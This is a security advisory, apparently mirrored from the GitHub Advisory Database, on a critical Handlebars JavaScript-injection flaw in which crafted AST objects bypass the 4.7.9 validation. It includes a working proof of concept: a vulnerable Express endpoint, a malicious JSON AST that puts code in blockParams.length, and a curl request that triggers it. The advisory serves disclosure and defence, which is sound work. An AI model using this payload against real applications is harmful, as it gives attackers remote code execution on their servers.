Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)

## Summary `Handlebars.compile()` and `Handlebars.precompile()` accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on `PathExpression`, `NumberLiteral` and `BooleanLiteral` nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked. If an application passes an untrusted object to `compile()` or `precompile()`, such as a parsed JSON request body, that object can carry arbitrary JavaScript. With `compile()`, the code runs on the server when the template renders. With `precompile()`, it ends up in the precompiled output and runs wherever that output is loaded. Applications that only ever pass template **strings** are not affected. This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r. ## Details The 4.7.9 validator runs in `parseWithoutProcessing()` and walks the whole AST. It only checks values on nodes whose `type` is `PathExpression`, `NumberLiteral` or `BooleanLiteral`. It passes over plain objects without a `type`, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is: | AST value | Written into generated code as | Compile options needed | | --- | --- | --- | | `Program.blockParams.length` | `container.program(<index>, data, <length>)` | none (default options) | | `depth` on a param that is not a `PathExpression`, e.g. a `StringLiteral` | `depths[<depth>]` | `stringParams: true` | | A `StringLiteral.value` that is not a string | raw JavaScript literal | `stringParams: true` | | A `PathExpression.original` that is not a string | raw JavaScript literal | `stringParams: true` | The first row works with default options. A `Program` with `blockParams: { "length": "<JS expression>" }` passes validation because: 1. the `blockParams` object has no `type`, so none of the type-specific checks apply, and 2. the walker skips the string under `length` because it is not an object. The compiler then reads `program.blockParams.length` and writes the string directly into the template function. The `container.program(...)` call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist. ## Proof of Concept 1. Start a server that compiles request input: ```js import express from "express"; import Handlebars from "handlebars"; const app = express(); app.use(express.json()); app.post("/api/render", (req, res) => { const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string res.send(template()); }); app.listen(2123); ``` 2. Save this request body as `poc.json`. `missingHelper` does not need to exist: ```json { "text": { "type": "Program", "loc": { "start": { "line": 1, "column": 0 } }, "body": [ { "type": "BlockStatement", "path": { "type": "PathExpression", "data": false, "depth": 0, "parts": ["missingHelper"], "original": "missingHelper", "loc": { "start": { "line": 1, "column": 0 } } }, "params": [], "program": { "type": "Program", "blockParams": { "length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()" }, "body": [], "loc": { "start": { "line": 1, "column": 0 } } }, "openStrip": { "open": false, "close": false }, "inverseStrip": { "open": false, "close": false }, "closeStrip": { "open": false, "close": false }, "loc": { "start": { "line": 1, "column": 0 } } } ] } } ``` 3. Send the request: ```sh curl -s -X POST 'http://127.0.0.1:2123/api/render' \ -H 'Content-Type: application/json' --data-binary @poc.json ``` The server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process: ``` Error: Injected code ran as uid 1000 ``` ## Impact An application is affected if untrusted input can reach `Handlebars.compile()` or `Handlebars.precompile()` as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to `compile()`. - **`compile()`**: arbitrary JavaScript runs in the Node.js process with the application's privileges (remote code execution). - **`precompile()`**: the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users' browsers. ## Workarounds - **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value. ```javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } ``` - Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable. ## Credits ### Variant `Program.blockParams` - [Nick Mykhailyshyn - @whoareme](https://x.com/whoareme33) - [jmoritzc53 ](https://github.com/jmoritzc53) - [bhaswanthc ](https://github.com/bhaswanthc) - [dinhvaren ](https://github.com/dinhvaren) - [n0tra4e ](https://github.com/n0tra4e) - [PellaML](https://github.com/PellaML) - [kustundag](https://github.com/kustundag) - [kagebunsher](https://github.com/kagebunsher) - [sanmatte](https://github.com/sanmatte) ### Variant `BooleanLiteral|NumberLiteral.value` - [sondt99 ](https://github.com/sondt99) Thai Son Dinh from VinSOC Labs (R&D) - [Ahmed-Elmahgob ](https://github.com/Ahmed-Elmahgob) - [nikolakojic-rasit ](https://github.com/nikolakojic-rasit) - [vk-can](https://github.com/vk-can) - [shenhuanageshei](https://github.com/shenhuanageshei) - [kustundag](https://github.com/kustundag) - [kagebunsher](https://github.com/kagebunsher) - [ffasterss](https://github.com/ffasterss) ### Variant `PathExpression.depth` - [hibrian827](https://github.com/hibrian827) Team Atlanta - [oss-security-shopify](https://github.com/oss-security-shopify)

Source published

8 Oct 2026 17:52:32 UTC

Source modified

8 Oct 2026 18:00:08 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · CRITICAL